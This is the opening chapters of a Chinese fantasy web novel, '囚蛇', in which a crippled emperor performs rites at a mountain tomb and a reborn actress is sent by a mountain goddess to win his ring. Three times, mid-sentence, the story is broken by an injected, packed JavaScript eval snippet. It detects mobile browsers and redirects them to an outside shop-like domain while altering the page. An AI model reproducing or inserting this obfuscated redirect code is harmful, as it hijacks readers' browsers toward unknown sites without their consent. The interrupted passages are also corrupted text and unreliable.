《囚蛇》 1. 第 1 章 滂沱的大雨已经接连下了三天三夜,丝毫没有停歇的迹象。白紫色的电光不时劈开灰暗的天幕,将天地映照得一片惨白。 远山笼罩在浓重的水汽中,宛如仙气氤氲的画卷。 山脚下的溪流在连日暴雨中不断上涨,浑浊的河水裹挟着断枝残叶,汹涌地漫过了通往帝王冢的必经之路。 一队禁军刚刚测量完水深回来,银白色得铠甲上还滴着水珠。 “启禀陛下,最深处的积水已达九尺。”禁军队长单膝跪地,声音在雨声中显得有些模糊。 福安忧心忡忡地望着帐外连绵的雨幕,转身恭敬地说道:“陛下,禁军来报,前去帝王冢的路已经被水淹了。依奴才看,要不今年的祭祀就......” “不必说了。”周清玄抬起手,指尖轻轻摩挲着右手食指上的戒指。那枚镶嵌着宝石的戒指正散发着绿色的光晕,在昏暗的帐内格外醒目。 “福安,你应当明白这次祭祀对朕意味着什么。” 福安当然明白。 在周国,历代新君都必须在登基前需前往帝王冢举行祭祀。唯有在帝王冢完成祭祀仪式,周国的皇帝才能真正得到认可。 “可是陛下,”福安望着帐外淅淅沥沥的雨丝,声音里满是担忧,“这雨势如此之大,陛下坐着轮椅,可要怎么过去啊?” 周清玄垂下眼眸,视线落在自己的双腿上,唇角泛起一丝自嘲的弧度:“是啊,一个双腿残疾的人,却妄想做皇帝。” 福安闻言浑身一僵,扑通一声跪倒在地,双手左右开弓扇着自己耳光:“奴才该死!奴才这张贱嘴!求陛下千万不要往心里去!” 清脆的巴掌声在帐内回荡,伴随着帐外渐弱的雨声。 不知过了多久,福安的两颊已经高高肿起,而外面的雨也奇迹般地渐渐停歇。 “起来吧。”周清玄淡淡开口,“在帐中待得久了,有些烦闷。福安,推朕出去走走。” 帝王冢山脚下是一片茂密的森林,因常年受阴雨侵蚀,空气中总是弥漫着潮湿的腐木气息。林间毒蛇虫蚁遍布,不适宜人居住。 在此驻扎近五日,从皇城带来的五千禁军已有近半数染病。 御营四周不时传来士兵的咳嗽声,军医们行色匆匆地穿梭在各个营帐之间,空气中仿佛笼罩着一层无形的死气。 这片土地似乎在无声地警告着外来者,此地不容他人驻足。 福安很不喜欢这里。无论更换多少件干爽的衣裳,身上总有一股黏腻的感觉,让人浑身不自在。 正当他推着周清玄在御营中缓缓行进时,一阵阴风忽然掠过,带来一股难以言喻的恶臭。 福安不由自主地停下脚步,望向气味传来的方向。 一顶行帐的门帘在风中轻微飘动,隐约露出里面暗红色的轮廓。随着风势加大,门帘掀开的缝隙更大了一些,福安眯起眼睛,终于看清了里面的物事。 整整齐齐摆放着六副棺椁。 福安不由自主地打了个寒颤。 “推朕过去。”周清玄的声音平静无波。 皇家的棺椁皆由名贵的金丝楠木制成,然而此刻,原本精美的雕花上已经爬满了蠕动的蛆虫。棺椁底部不断滴落着绿色的尸水,在帐内积成了一滩滩恶心的水洼。 刚走到门口,福安就忍不住干呕起来。 “陛下,连日大雨,几位王爷的棺椁怕是受潮了。”福安强忍着呕吐的欲望,指甲深深掐进了掌心。 周清玄沉默地注视着那些棺椁,指间的戒指忽然微弱地闪动了一下。 “呕——”福安终于忍不住吐了出来。他虽是在宫中见惯腌臜事的太监,却也从未见过如此令人作呕的场面。 “七哥!七哥!”一个洪亮的声音从雨幕中传来。 只见一个身材魁梧的壮汉大步走来,他身着铠甲,却不撑伞,任由雨水淋湿全身,那异常高大的体型在整齐划一的禁军中显得格外醒目。 “阿城,雨这么大,怎么又不撑伞?”周清玄微微蹙眉。 周清城满不在乎地抹了把脸上的雨水,咧开嘴憨笑道:“七哥,我身体好着呢!这点小雨伤不到我。况且我堂堂护国大将军,怎么能像个娘们似的撑伞?那也太不像话了!” 雨伞下的周清玄:“......” 撑着伞的福安:“......” 福安暗自腹诽,这位高阳王说话可比自己还不中听。 “七哥,我带你看个好东西!”周清城不由分说地推开福安,夺过轮椅的掌控权,大步流星地推着周清玄向前走去。 “哎呀,王爷您慢点儿!”可怜的福安一边小跑着跟上,一边小心翼翼地撑着伞,生怕有一滴雨水落在周清玄身上。 连日的暴雨让森林深处变成了一片漂浮着绿萍的沼泽。在这原本只有树木和积水的地方,竟停泊着一条小船。船身显然是新造的,连漆都还没来得及上,窄小的船身仅能容纳两三人。 “这条船是你做的?”周清玄转头看向周清城。 周清城骄傲地挺起胸膛:“那当然!只花了两天时间就做好了!” 周清玄的唇角微微上扬。 周清城蹲在周清玄脚边,仰头看着他:“七哥,我知道你一定要上山的。这船虽然简陋了些,但划到山脚下肯定没问题。等上了岸,我背你上山。七哥你放心,有我在,今年的祭祀一定能成。” 周清玄轻轻摸了摸周清城的头,眼神温和:“谢谢阿城。” - 民间有传言,用作帝王冢的那座山,原先是座神山。 很久之前,曾经有双绿眸的神仙就住在那座山上,她美丽动人,乐善好施,喜欢赤着双足漫步在林间。 可是渐渐的,那位神仙消失了,而这座神山也变成了属于周国的帝王冢。 帝王冢坐落在一座高山之上,山中安葬着周国历代的皇帝和王爷。别说是公主,就连皇后的陵墓也只能建在山脚下,因为帝王冢只允许周氏皇族最纯正的血脉上山。 下船时,雨已经完全停了。周清城背着周清玄,一步步走过一座又一座陵墓。 墓碑上刻着历代公主和皇后的封号,密密麻麻地环绕在帝王冢周围,沉默着,永远寂静地守候在山脚下。 上山前必须穿过一片竹林,只要过了这片竹林,就算真正进入帝王冢了。 刚踏入竹林,一群骑着魇狼的少年就出现在他们面前。 这些少年自称山神之子,永远保持着少年的模样,世世代代守护着帝王冢,周国皇室称他们为守山灵。 与常人不同,这些少年有着银色的头发,瞳孔都是碧绿色的,脸上有着徽纹。 为首的那个少年头上长着一对鹿角,他歪着头打量着两人,语气轻佻:“怎么这次来了个瘸腿皇帝?” 周清玄面不改色,一旁的周清城却皱紧了眉头,怒声道:“说话放尊重点!我七哥才不是什么瘸子!” 少年冷冷地瞥了周清城一眼,眉头微蹙看向他们身后:“祭品呢?” 周清玄安抚地拍了拍即将发作的周清城,平静地对少年说:“连日暴雨,山下的路被淹了,祭品暂时运不上来。” 少年嗤笑一声,目光落在他手中的王遗戒指上。他骑着魇狼来到周清玄面前,居高临下地说:“既然如此,周国皇帝,就骑我的魇狼上山吧。” 周清城下意识地上前一步,挡在周清玄身前,警惕地盯着少年:“不行!我可以背七哥上山!” 并非所有皇子都有资格进入帝王冢祭祀,周清城就从未进去过。 因此,尽管他对帝王冢有所了解,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922901|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道守山灵的存在,但他还是不放心让周清玄跟陌生人上山。 特别是那些坐骑是狼,万一饿了把七哥吃了怎么办! 周清玄轻轻拍了拍周清城的肩膀:“没事的阿城,我跟他们在一起很安全。你先跟他们上山,再把棺椁运上来,好不好?” 周清玄的话对周清城来说永远是真理,这是他一直深信不疑的。 听到周清玄这么说,他这才安心地将周清玄交给守山灵,自己转身下山去搬运棺椁。 帝王冢中有一片湖泊,湖水幽深翠绿,名为碧水潭。 这里的树是绿的,水是绿的,连石头都泛着翠绿的光泽。 周清玄还记得小时候随父皇来此祭祀,对这里的一切都充满好奇。 周国作为十二国的主国,受尽天下供奉。自幼在宫中见惯奇珍异宝的他,也从未见过如此美丽的地方,那四周的绿色仿佛能够洗涤世间一切污浊。 他喜欢这里清新的空气,碧绿的宝石,翠绿的潭水。 尽管父皇严厉警告不能带走这里的任何东西,他还是忍不住诱惑,偷偷藏起一块石头,还用瓶子装了些碧水潭的水。 可是回去后他发现,从帝王冢带回来的宝石不再碧绿,翠绿的潭水也变得如同普通清水。 他失望极了。 更糟糕的是,从那以后他连续发了几天高烧。生病期间父皇来看过他,并没有生气,只是摸着他的额头笑了笑。 周清玄注意到父皇手上的戒指镶嵌着宝石,那碧绿的光泽,一如他在帝王冢中见到的那般璀璨。 周清玄翻阅过历代周国皇帝的画像,每一任皇帝手上都戴着这枚戒指。 父皇告诉他,这枚戒指叫做王遗,在他死后会传给下一任帝王。 说来也怪,父皇来看过他之后,他的病很快就好了。似乎每个从帝王冢回来的皇子都会生一场大病。 父皇戒指上的宝石是不是从帝王冢带出来的?这个问题一直困扰着他。 直到后来父皇病重,八子夺嫡,血染皇宫,最终活下来的只有他和阿城。 腥风血雨过后,一切归于平静。 他和八弟来到父皇的寝宫,弥留之际的父皇将戒指交到他手中。 周清玄看见父亲长长舒了一口气,嘴唇一张一合,似乎想说什么。可他还没听清,父皇就咽下了最后一口气,再看身旁的周清城已经哭得上气不接下气。 接过王遗,他就是新一代的周国皇帝。纵然身患腿疾,朝中大臣也无可奈何。 “七哥,你刚才听清父皇说什么了吗?”周清城哭得鼻涕都流了出来,胡乱用手抹了一把。 周清玄早已习惯,取出手帕,仔细地擦净周清城的手和脸。 “父皇说要我们好好活下去。”周清玄轻声说。 周清城又哭了,抱着周清玄不肯松手,牛嚎般的哭声回荡在整个皇宫。 想到这里,周清玄不禁微微一笑。 他希望阿城能永远保持这颗赤子之心。至于身后的黑暗,有他一个人承担就够了。 少年将周清玄安置在碧水潭边的玉石上,便骑着魇狼离开了。 在帝王冢,没有人会因为你是皇帝而给予特殊优待。 潭边有几个少年在嬉戏打闹,魇狼们悠闲地饮着潭水,构成了一幅宁静祥和的画卷。 忽然,周清玄想起一件很重要的事,他忘记嘱咐周清城带些食物上来了。 虽然现在还不觉得饿,但祭祀要持续七天,山上又没什么可吃的东西。周清城又是个粗心的人,他已经可以想象接下来几天要在饥饿中度过了。 罢了。 瀑布哗啦啦的水声如同琴声般悦耳,周清玄坐在玉石上闭眼休眠。 直到一声巨大的落水声响起,他才缓缓睁开了眼睛。 2. 第 2 章 像是沉睡了许久,谢冬瑗带着一身的酸痛与混沌,缓缓醒了过来。 意识尚未完全回笼,她习惯性地想要翻身拉扯那床柔软蚕丝被却摸了个空,只有冰凉的黏腻的触感从指尖传来。 心头猛地一沉,不会被经纪人给卖了吧? 她下意识想睁眼查看,眼皮却像被胶水黏住,无论怎么用力也撑不开。 “怎、么、回、事?”她艰难地挤出这几个字,每吐一个字都像在黏稠的浆糊里挣扎。 手上也黏糊糊的,方才撑地时,还被什么尖锐的东西扎了一下,刺刺地疼。 所幸鼻子还能呼吸,可周围那令人作呕的腥臭味,却让她忍不住干呕。 这味道越闻越熟悉。像是宋睿养的那条黄金蟒身上的气味。 老天,该不会是被吞进蛇肚子里了吧? 一股寒意瞬间侵入了心脏。 她强迫自己冷静,可那心跳却如打鼓般停不下来。 她真是倒霉透了。 这些年她在娱乐圈摸爬滚打,早已财富自由。若不是为了还陈导当年提携的人情,她绝不会接这部戏。 开拍前剧组明明反复确认过天气,谁料正式拍摄那天,竟突然狂风大作雷雨交加,整个剧组都被困在了山上。 她作为特别出演,因名气最盛,陈导特意为她加了一场潭中打斗的戏,偏又总赶在雨天拍摄。 好不容易雨势稍歇,剧组抢拍第一幕,结果一道惊雷劈断威亚她便直直坠入了那深不见底的千叶潭。 再醒来,已是这番诡异光景。 谢冬瑗素来是个容易接受现实的人。既然还没死,就算真在蛇腹里,她也要剖开它爬出去。 她摸索着周围,指尖触到一块边缘锋利的碎片,紧紧攥住,挣扎着站起身,试探着朝前走。 可走了许久,四周却是一片虚无,摸不到任何墙壁或阻碍。 “谢冬瑗。”一个空灵悠远的女声忽然传来,声音仿佛来自四面八方。 是谁? 她想回应,可嘴巴被黏液封得死紧,只能发出模糊的呜咽。 “别怕,我是这里的山神。你刚从蛇蛋里孵化出来,身上才会有这些黏液。” 蛇蛋? 孵化? 谢冬瑗听得头皮发麻。 这话非但没让她安心,反而让她脊背发凉。她握紧碎片,全身戒备。 一声带着笑意的轻叹传来,山神朝她走近。 奇怪的是,方才还空无一物的四周,此刻竟传来了细碎的脚步声,像是踩在草地上,沙沙作响。一缕清雅的草木香气随之飘来,驱散了些许腥臭。 一只柔软微凉的手抚上她的脸颊。刹那间,身上那令人不适的黏腻感消失无踪。 谢冬瑗眨了眨眼,终于看清自己竟置身于一个巨大的透明的气泡中,气泡外是荡漾的碧绿潭水。 而面前站着的,想必就是山神。 她一袭草绿色流苏长裙,黑瀑长发垂地,发间点缀着细碎的绿叶与白色小花,脸颊上有着银白色的徽纹。最慑人心魄的是那双翠绿的眸子,仿佛蕴藏着神秘的魔力,让人不由自主地被吸引。 可那双眼虽然在笑,眼底却是一片沉寂的荒芜,细看之下,仿佛有万千愁绪如烟云流转,令人望之心生忧郁。 “为什么你和我长得一模一样?”谢冬瑗走累了,索性盘腿坐下,抬眼直视山神。 “因为啊,你是我创造出来的。从某种意义上说,你是我另一种形态的存在。”山神也学着她的样子盘腿坐下,含笑注视着她,像在欣赏一件满意的作品。 “我不太明白你的意思。” “冬瑗,你不明白很正常,且听我慢慢解释。”山神婉声道,“你现在来到的朝代,与你原来的世界相隔一千多年。我被这个世界的规则束缚,不能离开这座山,需要一个因果来打破这个死局。而你,就是我在另一个世界种下的因,蛇蛋是孵化你的果。冬瑗,我需要你。” 诡异的环境,诡异的人,诡异的对话。 一切都太荒谬了。 谢冬瑗严重怀疑自己在做梦,她捂住耳朵闭上眼睛,倒头就睡。 “这都是梦,都是幻觉……”她喃喃自语。 山神:“……” 她轻轻摇晃谢冬瑗的肩膀,“冬瑗,你看到的都是真实的。” “我不听我不听,都是骗人的……” 山神无奈地叹了口气,不再强求。 过了好一会儿,谢冬瑗终于认命地坐起身。作为经验丰富的演员,早年没有经纪人时,她都是亲自与资方周旋谈判。 此刻,她决定和这位山神好好谈谈。 “你说你是山神,我能问问你的名字吗?” “你可以叫我木。” “木,你说需要我帮你打破死局,具体要怎么做?” “周国有个皇帝,名叫周清玄。他手上戴着一枚绿色戒指,叫做王遗,王遗上有我的神力保护,需要持有王遗者爱上你,并且心甘情愿地奉上上王遗才能取下。我要你拿到王遗之后,带到碧水潭给我。” “王遗有什么作用?” “它能助我打破规则,离开这座山。” “好,我可以帮你。”谢冬瑗点头,眼神变得锐利,“但事成之后,你要送我回现代。” “一言为定。” 谢冬瑗看了眼气泡外幽深的潭水,“我们现在是在水底吧?要怎么出去?” “这个保护层本就是为你孵化而设,很快就会破碎。” 话音刚落,气泡壁上便传来细微的裂声,绿色的潭水汩汩涌入。 谢冬瑗突然想到关键问题:“周清玄在哪儿?我该怎么找他?” “放心,你出去后见到的第一个人,就是他。” 水已漫到腰间,谢冬瑗看着迅速破碎的气泡,心想这么游上去,会不会憋死? 山神的身影已然淡去,气泡彻底破碎,冰冷的潭水瞬间将她包裹。预想中的窒息并未到来,她惊讶地发现自己竟能在水中自由呼吸。 柔和的绿水仿佛拥有生命,轻轻托举着她,向上浮升。 破水而出的瞬间,刺眼的白光让她下意识眯起眼睛。 待视线逐渐清晰,映入眼帘的是郁郁葱葱的树林,岸边一块光滑如镜的碧绿玉石上,坐着一位男子,正静静地与她对视。 谢冬瑗在潭水中只露出一双眼睛,好奇地歪着头打量对方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922902|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岸边的男子也学着她的样子,微微歪了歪头。 她把头歪向另一边。 男子也跟着歪向另一边。 山神说过,出去后第一个见到的人就是周清玄。 难道是他? 带着疑问,谢冬瑗缓缓向男子游去。就在快要靠岸时,一阵强烈的虚弱感猛地袭来,仿佛魂魄被瞬间抽离,眼前一黑,她便软软地倒在了水边。 再次恢复意识时,数双绿莹莹的眼睛正围着她,充满好奇地打量着。 一个银发少年凑近了些,嗓音清亮:“你是谁?怎么会在这里?” “你们又是谁?”谢冬瑗撑起身子,反问道。 少年们相视一笑,坦然答道:“我们是山神之子。” 谢冬瑗仔细端详围在身边的少年们,他们都有着相似的特征,银发绿眸,脸颊带着规则的白皙纹路,这与山神有着相似的特征。 既然山神说被规则所困不能离山,而这些少年看起来又不谙世事,她决定编个合理的说辞。 “我也不知道怎么回事,”她镇定自若,眼神带着恰到好处的迷茫,“突然就从那绿色的水里醒过来,然后从潭底游到了这儿。” “那你的眼睛为什么和我们一样是绿色的呀?”另一个少年追问。 “不清楚,”谢冬瑗轻轻摇头,语气带着不确定的猜测,“或许我和你们是同一个种族吧。” “哦。”少年们听得入神,纷纷点头。 几百年来他们一直与世隔绝,谢冬瑗的出现,就像一颗石子投入平静的湖面,激起了层层涟漪。 “咳咳。” 一声低沉的轻咳从少年们身后传来。他们立刻恭敬地让开一条路,谢冬瑗这才看清,后方的一块玉石上正端坐着一个人。 他身着月白华服,上用金丝绣着精致的龙纹,却因常年服药,脸色透着一股病态的苍白,双颊微陷,却丝毫无损那斐然的气质。 而他的食指上,正戴着一枚熠熠生辉的绿色戒指。 找到你了,周清玄。 与此同时,周清玄也在审视着眼前的少女。 她一头青丝如瀑垂至腰际,肌肤嫩若乳膏,淡绿色的瞳孔与干净的眼白泾渭分明,唇瓣如盛放的牡丹,一身轻盈的绿萝裙勾勒出窈窕身形,赤着双足,宛如古书中描绘的,会魅惑人心的精怪。 “刚才我在那潭水时就看见你了。”谢冬瑗自然地走到石床边,挨着他坐下,语气带着几分天真的熟稔,“你跟他们长得都不一样,是这里的主人吗?” 周清玄静静看了她片刻,才缓缓开口:“这里的主人已经不在了。我是周国的皇帝,周清玄。” 是他没错。 谢冬瑗歪着头,眨着纯净的绿眸,故意问道:“皇帝是什么,可以吃的吗?” 周清玄没有回答,只是淡淡地看着她,那目光深邃,仿佛能洞穿人心。“先前也来过帝王冢,怎么从未见过你。你是谁?” 哦豁,这个皇帝不好骗啊。谢冬瑗心里嘀咕,面上却依旧天真无邪,她眨了眨眼,信口胡诌:“我只记得我叫木木,是从那谭底游过来的。” “木木。”周清玄低声重复着这个名字,听不出情绪。 3. 第 3 章 谢冬瑗又往他身边挪了挪,玉石又硬又冰,硌得她很不舒服,她不自觉地轻轻扭动了一下。 周清玄抬眸,视线落在她身上。 谢冬瑗不好意思地笑了笑,唇角漾起甜甜的酒窝,试图化解这微妙的尴尬。她赶紧转移话题,环顾四周问道:“这里是哪儿啊?” “帝王冢。” “帝王冢是什么?” “历代帝王埋葬之地。” “那你以后也会被埋在这里吗?” “嗯。” 谢冬瑗环视四周,面前是碧波荡漾的潭水,周围草木旺盛,还有几个眼神纯净的少年,并无想象中的陵墓碑石。 难道帝王们另葬他处? 她不由赞叹:“这里好美啊,要是以后死了能埋在这里也不错。” 周清玄看向她,眼神中掠过一丝极淡的不易察觉的嘲弄,“能被埋进帝王冢的,唯有周国皇室血脉,而且,”他微微一顿,语气平淡却不容置疑,“必须是男人。” 得,这个男权主义的封建社会。谢冬瑗在心里翻了个白眼。 正在谢冬瑗盘算着如何从周清玄口中套话时,忽然一声锐响,一柄长枪破空而来,直直插在她脚前半寸的地面上。 枪尖带过的劲风划过她的小腿,瞬间留下一道血痕。谢冬瑗吓得脸色发白,下意识紧紧抱住了身旁的周清玄。 一名头生鹿角的少年骑着一匹通体雪白的魇狼缓缓走来。他冷着一双碧色的眸子,伸手拔起插在地上的长枪。那枪尖由青晶石锻造而成,在阳光下泛着凌冽寒光。 “你是什么人?”鹿角少年将长枪指向谢冬瑗,声音冷冽。 谢冬瑗瑟缩在周清玄身后,只露出半个脑袋,将先前应付其他少年的说辞又重复了一遍。可鹿角少年显然不像其他人那般好糊弄。 “满口胡言!”少年厉声喝道,“除了周氏皇族,谁也不得留在帝王冢。你是个错误,我必须杀了你。”说着,长枪又向前逼近一寸。 周围其他少年见状,开始窃窃私语。 “你们看,她的眼睛是绿色的!” “难道她和我们一样,是山神之子?” “山神之子也会有女子吗?” “那该叫山神之女才对。” “……” 鹿角少年抿紧嘴唇,缓缓收回长枪,“喂,骗子,别躲在周国皇帝身后了,出来。” 周清玄身后传来闷闷的声音:“不要,我一出来你就要杀我。” “我以山神的名义起誓,今日暂不取你性命。” “今日不杀,明日也要杀,我才不傻。” 周清玄能感受到身后那人紧紧拽着他的衣袍,力道之大勒得他腰腹生疼。他本想拍拍对方的肩膀安抚,却意外触到一头柔软的发丝,手感出乎意料的好。 他劝道:“放心,我不会让他伤你。出来吧。” 谢冬瑗这才小心翼翼地从周清玄身后钻出来,仰起脸认真地看着他:“我不信他,只信你一人。” 周清玄对上那双眼睛,只见其中盛着一汪清泉般的澄澈,清晰地映出他微微怔忡的面容。 谢冬瑗的嘴角几不可察地翘起一丝弧度。 鹿角少年死死盯着谢冬瑗的眼睛,唇越抿越紧,脸色愈发凝重:“你,是不是山神之子?或者说……山神之女?” 有了周清玄的承诺,谢冬瑗底气足了些。她站起身,迎着鹿角少年的目光反问:“是又如何,不是又如何?” “若你是山神之女,就必须留在帝王冢与我们一同生活,此生不得下山。” 谢冬瑗在心里冷笑。不得下山?你说不下就不下? 我偏不。 “那若不是呢?” 长枪再次指向她:“那你必须死。” 眼前这鹿角少年简直是个不讲道理的疯子,莫名其妙就要取她性命。如今唯有抱紧周清玄这条大腿,才能平安下山。 “我不是山神之女,也不想永远困在帝王冢,更不想死。”谢冬瑗轻轻摇晃周清玄的手臂,声音带着几分撒娇的意味,“周清玄,我想和你一起下山,好不好嘛?” 周清玄眉头微蹙。他向来不喜旁人过分亲近,可这女子自出现起就屡屡触碰他的界限。 他转向鹿角少年,语气沉静:“无论这位姑娘是何身份,我都不会允许你们伤她。至于是否带她走,”他瞥见谢冬瑗眼中闪烁的期待,“我自有考量。” 鹿角少年怒气更盛,指着谢冬瑗道:“她可以不死,但必须留在山中!” 周清玄抬起手,道:“若我执意要带她走呢?别忘了,先祖与山神的契约中写明,你们必须听从持有王遗之人。” “愚蠢至极!”鹿角少年狠狠攥紧长枪,翻身跃上魇狼,头也不回地策狼离去。 谢冬瑗朝着他远去的背影吐了吐舌头,做了个鬼脸。 “我看得到!”远处传来一声怒喝。 谢冬瑗抚着胸口,小声嘀咕:“他是安了监控吗?” 周清玄不解:“监控是何意?” “这个嘛,”谢冬瑗眼珠一转,“就是背后长眼睛的意思。” 一旁有个绿眸少年插话:“我们背后没有眼睛。但山神之子与整座山同命相连,你们在山上的一举一动,我们都看得见。” “那你们能看见我比了个什么手势吗?”谢冬瑗转身比了个(^-^)V。 一个绿眸少年闭上双眼,然后又睁开,伸出手作出与谢冬瑗一样的手势。 谢冬瑗微微瞪大双眼。 “七哥——你在哪啊——” 远处传来一阵呼喊,声音由远及近,在林中穿梭。 谢冬瑗左顾右盼也没见到喊话的人,不由问道:“谁在喊?” 周清玄微微一笑:“是我弟弟,来寻我的。” “听起来你弟弟好像迷路了,我帮你喊他。”谢冬瑗将双手拢在嘴边,做成喇叭状,扬声喊道:“周清玄在这里——” “呼……呼……” 沉重的喘息声由远及近,如同耕牛般粗重。只见一个壮汉背着层层叠叠的木匣子渐渐走近,待他走到近前,谢冬瑗才看清那竟是六副棺木。 壮汉身后还拖着一架轮椅,他将棺木卸在地上时,沉重的重量让地面陷下去三寸有余。 谢冬瑗目瞪口呆。 周清城抹了把脸上的汗,随手一甩,汗珠正好溅到旁边一个少年脸上。 他不好意思地伸出扇子般的大手,想替对方擦掉,吓得少年们连连后退。而被甩到汗的少年更是哇哇大哭。 “阿城,不得无礼。”周清玄轻声斥道。 看着嚎啕大哭的少年,周清城手足无措地在口袋里翻找,最后摸出一块已经有些融化的琥珀糖。 “给你吃。”他憨厚地递过去。 少年止住哭泣,却不敢伸手去接,只是愣愣地盯着那块糖。 这琥珀糖是军中常见的零嘴,用琼脂和白砂糖制成,士兵们饿了或是低血糖时都会嚼上一颗。 这般简单可口的糖点在民间也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922903|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是家家常有,但对从未下过山的少年来说,却是从未见过的稀罕物。 谢冬瑗接过周清城手中的琥珀糖,蹲在哭泣的少年面前,轻轻拆开糖纸。融化的糖浆已经渗出纸外,散发着诱人的甜香。 “这是糖,很甜很好吃的,吃了会让人很开心。” 少年试探地舔了一口,从未体验过的甜味瞬间席卷味蕾,带来一阵奇妙的愉悦。她说的没错,这滋味确实让人开心。 他没有独享这份甜美,而是小心翼翼地将糖块掰成碎片,分给周围的守山灵。 不一会儿,碎成粉末的糖就被分食殆尽。 少年将最后一点糖块递到谢冬瑗面前:“山神之女,给你,很好吃的。” 谢冬瑗笑着接过糖块:“谢谢你呀。” 天色渐暗,夕阳将天边染成橘红色,山间的雾气开始冉冉升起。 “咕噜~咕噜!” “打雷了?”谢冬瑗抬头望向天空,却不见一丝闪电的痕迹。 周清城庞大的身影忽然笼罩在谢冬瑗面前,如同一座移动的小山。他已经默认谢冬瑗是守山灵中的一员,瓮声瓮气地说道:“守山灵,你去拿点吃的给我和哥哥,我饿了。” 谢冬瑗疑惑地指了指自己,“我?” 周清城自顾自地掰着手指头数起来:“我只要六海碗大米饭,五斤猪肉,酒只管多多来。我是军中人,吃食上不讲究,只需分量大即可。我七哥比较挑,吃的米要精米,他不爱吃肉,就算吃肉只能是鱼肉,鱼肉还得是那种鱼骨剃干净的。七哥喝不了酒,只要清泉水。” 谢冬瑗听得目瞪口呆,“啊?” 周清玄无奈地揉了揉眉心,“木木,你去跟几位守山灵准备一些吃食,我跟阿城有事情要说。” “好。”谢冬瑗嘴上应着,心里却暗想:总感觉周清玄的这个弟弟脑子好像有些问题。 每位少年都有一位坐骑,那坐骑浑身雪白,额头有银色的印记,身形似狼。少年们告诉谢冬瑗,这坐骑叫做魇狼,每个守山灵都有属于自己的魇狼。 帝王冢中原本一共有六个守山灵,因为其中有一个守山灵被人诱骗下山后再也没有回来,所以现在帝王冢只剩下五个守山灵。 少年们还告诉谢冬瑗,在山上只有草木、魇狼和山神之子,没有米饭也没有肉更没有酒。 谢冬瑗问还没有其他可以吃的东西,少年们说他们平常的食物就是吃桃子。 还没走到桃林中,便闻到一阵清甜的桃子香。这里的桃子一个个都像小孩脑袋那么大,漫山遍野的翠绿衬托着桃子的粉红,显得格外鲜艳诱人。 谢冬瑗摘了一个桃子,在溪水中洗净后便坐在桃树下,捧着快有自己脑袋大的桃子小口啃着。桃子是那种脆桃,一口咬下去又脆又甜。 “周国的皇帝让我们准备吃食,我们在这边吃桃子没事吧。”一个少年担忧地问。 “没事,就吃个桃子,耽误不了多少时间。”谢冬瑗边吃桃子边和少年们聊天,“你们都叫什么名字呀?” “名字?你可以叫我们山神之子或者是守山灵。”少年们认真想了想,又道,“之前有个皇帝为了方便使唤我们,给我们分别取了小一,小二,小三,小四,小五,小六。” 看着这群天真可爱的少年,谢冬瑗忽然想做点什么,笑着说:“我给你们取个新的名字好不好?” 少年们听到取名字,一个个眼睛里亮起了光,一双双碧绿的眼眸期待地望着谢冬瑗,像是在幼儿园排队等着老师发糖果的小孩。 4. 第 4 章 取名字倒不是什么难事,主要是这些少年几乎长得一模一样。 谢冬瑗指向那个被吓哭的少年,“你叫哭哭。” 老是问东问西的好奇宝宝叫奇奇。 脸蛋略微有些圆圆的叫圆圆。 爱嘟着嘴说话的叫嘟嘟。 …… 将这一圈的少年名字取完后,谢冬瑗舒畅地伸了个懒腰,却瞥见不远处一株桃树枝后好像藏着一只毛茸茸的角。 她会心一笑,故意提高声音问那些少年:“你们中不是有一个头上有角的人吗,就是脾气最大的那个,他也没有名字吗?” 桃树枝轻轻颤了颤。 “没有。” “哦。”谢冬瑗故意大声说,“那他头上有个像鹿角一样的东西,以后就叫他鹿鹿吧。” 话音刚落,桃叶簌簌落了一地。 - 在天色完全暗下来前,谢冬瑗和守山灵已经准备好了吃食。 他们一起摘了桃子,还去附近的一个小池子用竹筒装满了山泉水。 当谢冬瑗提着篮子想去碧水潭边时,圆圆扯了扯她的衣袖,小声说道:“周清玄和周清城二人现在不在那,而是在极生殿。” 前往极生殿的路上,夜色沉沉,唯有潭水幽幽泛着绿光,映得四周树影幢幢,恍若鬼魅起舞。 白日的碧水潭如梦似幻,宛若仙境,可一到夜晚,它却阴森如冥河,寒意刺骨。 最令人心悸的,是那六副棺材,整整齐齐排列在潭边,在绿光的映照下,宛如阴曹地府的门扉,静默而慑人。 谢冬瑗暗忖,这地方,真是说不出的古怪渗人。 极生殿坐落于碧水潭后方,殿内供奉山神,亦设有供皇子上山休憩的居室。 夜风轻拂殿宇,神像下烛火摇曳,将山神的面容笼罩在一片朦胧烟雾之中,看不真切。 